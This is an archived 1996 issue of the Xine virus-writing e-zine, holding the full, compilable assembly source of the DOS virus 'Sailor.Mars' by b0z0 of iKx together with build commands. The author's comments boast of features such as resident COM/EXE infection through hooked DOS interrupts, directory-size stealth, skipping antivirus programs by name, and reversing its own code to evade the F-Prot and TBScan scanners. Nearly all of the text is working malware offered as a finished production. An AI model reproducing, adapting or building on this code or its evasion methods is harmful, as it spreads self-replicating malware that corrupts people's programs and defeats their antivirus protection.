HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / XINE-1.ZIP / XINE-1.021 < prev next >

Wrap

Text File | 1996-10-25 | 20.4 KB | 646 lines

/-----------------------------\ | Xine - issue #1 - Phile 021 | \-----------------------------/ ; ; ; b0z0 of da iKx presents ; Sailor.Mars ; ; Dear reader :) ; here is my latest (in this moment) production. The third component of the ; Pretty Soldiers Sailor family is before your eyes! Sailor.Mars! ; enought of this... let's see what it is: ; * TSR (of coz) COM/EXE infector ; * infects on 4bh (execute), 56h (move/rename) and 43h (get/set ; file attributes) ; * stealth on dir (11h/12h), disabled when chkdsk is run ; * int24h handler ; * "encrypted" code: this is quite funny... the virus will run around ; various hard disks reversed... after a short decryptor you will find ; the end of the virus and at the end of the file the head :) this ; seems quite fool, but is currently a good way to fool fprot and tbscan ; scanning! :) when reversing code the routine also tests if there ; occours any Interrupt (well, that are so much of that CDs ;) ) and ; doesn't reverse it. In this manner the AVs will find a 'INT 21h', ; but won't be able to find something interesting (like a mov into the ; AX of some dangerous call) in the useful registers :) To prevent also ; the generation of a 'INT 26h' call (which get flagged) the routine ; also changes the '26h' before any 'CDh' to a more friendly '62h' ;) ; * it doesn't infect a big number of antiviruses ; ; To compile ; TASM /M2 MARS.ASM ; TLINK MARS ; mars segment assume cs:mars,ds:mars,es:mars org 00h exe_start: call realstart realstart: push ds ;save on stack for later use push es mov bp,sp ;bp<-delta offset mov bx,[bp+4] ;antiheuristic calculation of mov bp,bx ;delta offset sub bp,offset realstart ;bye fprot & tbscan :) cmp byte ptr cs:[movdidl+bp],88h ;first gen? je exe_enc call deccom jmp exe_enc deccom: push cs pop ds push ds pop es inc byte ptr [movdidl+bp] ;reput the mov [di],dl lea di,[virus_end+bp] ;from mov cx,enc_end-enc_start lea si,[enc_end+bp-1] ;to next: mov dl,[si] ;let's go cmp dl,0cdh ;remember out int masquerade jne nint mov dl,[di-1] mov byte ptr [di-1],0cdh cmp dl,062h ;62->26 to fool abs disk write jne nint ;alarm mov dl,026h nint: dec si movdidl: db 88h,15h ;will change to fool enc flag inc di dec cx jnz next lea di,[enc_start+bp] lea si,[virus_end+bp] mov cx,enc_end-enc_start rep movsb ;put the code in it's real place ret virusname db 0,'Sailor.Mars',0 author db '-b0z0/iKx-',0 ;as usual :) ;firstg db 00h enc_start: exe_enc: pop es pop ds dec byte ptr cs:[movdidl+bp] call decvicdata ;decrypt original victim bytes call resident ;go resident cmp byte ptr cs:[isexe+bp],00h ;com or exe? jne realcom ;.exe restore mov ax,ds add ax,10h add cs:[infcs+bp],ax cli mov sp,word ptr cs:[infsp+bp] ;restore sp:ss add ax,word ptr cs:[infss+bp] mov ss,ax sti sub ax,ax sub bx,bx sub cx,cx sub dx,dx sub di,di sub si,si push cs:[infcs+bp] ;push cs:ip push cs:[infip+bp] sub bp,bp retf ;return on original cs:ip victim_enc_data: infip dw 00000h infsp dw ? infss dw ? infcs dw 0fff0h old_jump db 0cdh,020h,00h,00h isexe db 00h ;00h=exe, 01=com new_jump db 0e9h,00h,00h,04fh ;.com restore realcom: mov di,100h lea si,[old_jump+bp] push di movsw ;put original 2 words movsw pop ax jmp ax ;jump at cs:100 resident: push es push ds mov ax,02abch ;installation check int 21h cmp bx,0def6h ; HEX DEF6 je notinst push es mov ax,3521h ; get int 21 adress int 21h mov word ptr cs:[old_int21_off+bp],bx ;store int21 offset mov word ptr cs:[old_int21_seg+bp],es ; and segment pop es mov ax,es ; es=psp dec ax ; psp-1=mcb mov ds,ax ; DS = segment of programs mcb sub di,di l4mcb: ; look for last mcb in chain cmp byte ptr ds:[di],'Z' ;is last? je last inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp l4mcb last: sub word ptr ds:[di+03h],size_para ; =mcb+03h add ax,word ptr ds:[di+03h] sub word ptr ds:[di+12h],size_para ; =psp+02h inc ax ; AX = first usable MCB segment cld push cs pop ds ; ds points on code mov cx,(virus_end-exe_start+1)/2 mov es,ax ; es points on our usable segment lea si,[exe_start+bp] ; si points on our code rep movsw ; move virus push es ; virus segment mov ax,2521h ; set interrupt 21h handler pop ds ; point to virus segment mov dx,[offset int21_handler] int 21h dec byte ptr cs:[movdidl+bp] notinst: pop ds pop es ret dirstealth: pushf push cs call goint21 cmp al,0 ;ok? jnz leave_dir ;no? push es push bx push ax push di mov ah,2fh int 21h mov di,bx cmp byte ptr es:[di],0ffh jne no_ext add di,07h no_ext: mov al,byte ptr es:[di+17h] ;seconds field and al,1fh xor al,0eh ;is file infected? jnz error hide: sub word ptr es:[di+1dh],(virus_end-exe_start) ;hide size sbb word ptr es:[di+1fh],00h error: pop di pop ax pop bx pop es leave_dir: retf 2 int21_handler: cmp ax,02abch ; installation check jne acheck mov bx,0def6h ; HEX DEF6 iret acheck: cmp ah,4bh ; program execution je execute cmp ah,56h ; move/rename file je execute cmp ah,32h jne no_disable_stealth inc byte ptr cs:[nost] no_disable_stealth: cmp byte ptr cs:[nost],00h jne nostealth cmp ah,11h je dirstealth cmp ah,12h je dirstealth nostealth: cmp ah,4ch jne noterm mov byte ptr cs:[nost],00h noterm: cmp ah,43h ;get/set file attributes jne goint21 cmp bh,4fh ;marker for our internal uses jne execute goint21: jmp cs:old_int21 old_int21 label dword old_int21_off dw ? old_int21_seg dw ? execute: pushf push ax push bx push dx push cx push bp push ds push si push di push es push ds push dx mov ax,3524h ;get int24h seg and off int 21h mov word ptr cs:[old_int24_off],bx ;store them mov word ptr cs:[old_int24_seg],es push cs pop ds mov dx,offset int24h ;our int24h mov ax,2524h int 21h pop dx pop ds push di push dx pop di sloop: ;ds:di-> filename inc di cmp byte ptr ds:[di],'.' jne sloop ;search for '.' inc di cmp word ptr ds:di,'XE' ;is an exe? je ahead2 cmp word ptr ds:di,'OC' ;is a com je ahead2 pop di jmp oh_shit2 ahead2: mov byte ptr cs:[avrunning],00h call checkav ;look if we are infecting pop di ;an antiviru$ cmp byte ptr cs:[avrunning],01h jne bogus jmp oh_shit2 bogus: mov bh,4fh mov ax,4300h int 21h push cx push ds push dx sub cx,cx call set_attr mov ax,3d02h ;open for rw int 21h jnc ahead jmp oh_shit ahead: mov bx,ax ;bx file handle as usual push cs pop ds mov ax,5700h ;read date/time int 21h push dx push cx mov ah,3fh ;read 1ch bytes from file mov cx,1dh lea dx,exeheader mov si,dx int 21h cmp byte ptr [si],'M' ;exe? je exestuff cmp byte ptr [si+1],'Z' ;exe? je exestuff cmp byte ptr [si],0e9h ;jump in com? jne cominf cmp byte ptr [si+3],04fh ;is ours? je notcominf cominf: call cominfect ;infect .com file notcominf: jmp closing ;go away exestuff: cmp byte ptr [si+18h],'@' ;winexes je closing cmp word ptr [si+12h],'MS' ;sailormars marker je closing cmp word ptr [si+1ah],00h ;internal ovl jne closing call exeinfect ;infect .exe file closing: pop cx pop dx mov ax,5701h ;set date/time cmp byte ptr [avrunning],02h jne justdoit and cl,0e0h add cl,0eh justdoit: int 21h mov ah,3eh ;close file int 21h oh_shit: pop dx pop ds pop cx call set_attr ;reput old attributes oh_shit2: mov ax,2524h mov ds,cs:[old_int24_seg] mov dx,cs:[old_int24_off] int 21h ; restore int24h pop es pop di pop si pop ds pop bp pop cx pop dx pop bx pop ax popf jmp goint21 cominfect: ;com infection routine ;bx <-- filehandle ;si --> exeheader ;cs=ds=code push ds ;copy original 4 bytes pop es lea di,old_jump ;in old_jump movsw movsw mov al,02h ;lseek at end call movefile cmp ax,0f230h ;ax=62000? ja exitcominfect ;jmp if ax>62000 cmp ax,0400h ;ax=1024? jbe exitcominfect ;jmp if ax<=1024 sub ax,03h ;sub the jmp mov word ptr new_jump + 01h, ax ;new jump mov byte ptr isexe,01h ;mark as com call genran ;random number for xor sub bp,bp call decvicdata ;xor them call enccom ;reverse virus push ds push es pop ds mov ah,40h ;write virus at end mov cx,(virus_end-exe_start) mov dx,offset exe_start int 21h xor al,al call movefile pop ds mov cx,04h ;write first 4 bytes mov ah,40h mov dx,offset new_jump int 21h mov byte ptr [avrunning],02h exitcominfect: ret movefile: ;move through the file mov ah,42h cwd sub cx,cx int 21h ret exeinfect: ;bx <- filehandle ;si -> exeheader mov cx,word ptr [si+14h] ;store old IP mov infip,cx mov cx,word ptr [si+16h] ;store old CS mov infcs,cx mov cx,word ptr [si+10h] ;store old SP mov infsp,cx mov cx,word ptr [si+0eh] ;store old SS mov infss,cx mov al,02h call movefile call loadsize cmp dx,word ptr [lendx] ;compare lseek length with ja exitexeinfect ;length of image that will cmp ax,word ptr [lenax] ;be loaded by the loader ja exitexeinfect push ax ;store length push dx mov cx,10h div cx sub ax,word ptr [si+08h] mov word ptr [si+14h],dx ;new length mov word ptr [si+16h],ax add dx,offset ourstack mov word ptr [si+10h],dx ;new stack mov word ptr [si+0eh],ax pop dx pop ax mov cx,200h ;200h=512=one page add ax,(virus_end-exe_start) adc dx,00h div cx mov word ptr [si+02h],dx ;new length mov word ptr [si+12h],'MS' ;marker inc ax mov word ptr [si+04h],ax ;new length mov byte ptr [isexe],00h call genran ;generate xor value push ds push si sub bp,bp call decvicdata ;encrypt the original bytes call enccom ;reverse our virus push es pop ds pop si mov ah,40h ;write virus at end mov cx,(virus_end-exe_start) mov dx,offset exe_start push ax int 21h sub al,al ;move at start call movefile pop ax pop ds ;rewrite header mov cx,1ch mov dx,si int 21h mov byte ptr [avrunning],02h exitexeinfect: ret enccom: mov ax,8d00h ;some suitable mem mov es,ax mov di,offset exe_start mov si,di mov cx,offset enc_start rep movsb ;copy first normal part of code mov si,offset enc_end-1 mov cx,enc_end-enc_start critt: mov dh,ds:[si] cmp dh,0cdh ;is an int? jne notint mov dh,es:[di-1] mov ah,0cdh mov es:[di-1],ah cmp dh,026h ;change 26 to 62, so no jne notint ;absolute disk writes will mov dh,062h ;be noticed notint: mov es:[di],dh dec si ;copy and reverse code inc di dec cx jnz critt ret xorvalue dw 00h decvicdata: ;minor encryption for original bytes lea si,cs:[bp+victim_enc_data] mov dx,word ptr cs:[bp+xorvalue] mov cx,06h ;6 words to encrypt encloopy: ;cs: xor word ptr cs:[si],dx inc si inc si ;next word loop encloopy xor byte ptr cs:[si],dh ;xor com/exe marker ret genran: ;generate random value for xoring in ax,40h mov word ptr [xorvalue],ax ;store value ret set_attr: push bx mov bh,4fh mov ax,4301h ;set attributes int 21h pop bx ret loadsize: push ax ;calculate lenght of loaded push dx ;image from header mov cx,word ptr [si+04h] mov ax,512 mul cx add ax,word ptr [si+02h] adc dx,00h mov word ptr [lenax],ax mov word ptr [lendx],dx pop dx pop ax ret antiviruses db 'TB','AV','F-','VI','SC','IT','IV','FI','NA','CO' dw 00h checkav: ;check if the current program being infected is an AV ;ds:di --> '.'+1 in the filename dec di ; cmp byte ptr ds:[di-1],'\' ;search for the \ jne checkav ; lea si,antiviruses avcloop: mov cx,word ptr cs:[si] cmp word ptr ds:di,cx jne notav mov byte ptr cs:[avrunning],01h ;set av flag notav: cmp byte ptr cs:[avrunning],01h je endscan inc si ;next av signature inc si cmp word ptr cs:[si],00h ;end of the checked sigs? je endscan jmp avcloop endscan: ret int24h: mov al,00h ;much better, so on an attrib on a wp iret ;diskette that wouldn't be a wp warning enc_end: virus_end: nost db 00h ;00h=11h/12h enabled, 1=disabled old_int24_off dw ? ;original int24 offset old_int24_seg dw ? ;original int24 segment avrunning db ? ;00h av not running, 01h running ;02h file succesfully infected lenax dw ? lendx dw ? exeheader db 1dh dup (?) size_para=(virus_end-exe_start+0fh)/10h+2 ;virus + some temp space lengthstack db 1024 dup (?) ;256 ourstack: mars ends end exe_start